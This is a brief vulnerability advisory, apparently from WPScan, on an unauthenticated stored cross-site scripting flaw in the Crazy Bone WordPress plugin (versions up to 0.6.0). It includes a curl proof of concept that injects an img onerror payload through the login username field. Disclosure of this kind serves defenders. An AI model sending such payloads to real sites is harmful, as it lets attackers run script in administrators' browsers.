Crazy Bone <= 0.6.0 - Unauthenticated Stored XSS

Description
The plugin does not sanitise and escape the username submitted via the login from when displaying them back in the log dashboard, leading to an unauthenticated Stored Cross-Site scripting

Proof of Concept

curl 'https://example.com/wp-login.php' --data-raw 'log=a<img src onerror=alert(/XSS/)>&pwd=x&wp-submit=Log+In'

The XSS will be trigged in the 'All User' section of the Login Log: https://example.com/wp-admin/users.php?page=crazy-bone%2Fplugin.php&user_id=-1&status 

References: https://wpscan.com/vulnerability/60067b8b-9fa5-40d1-817a-929779947891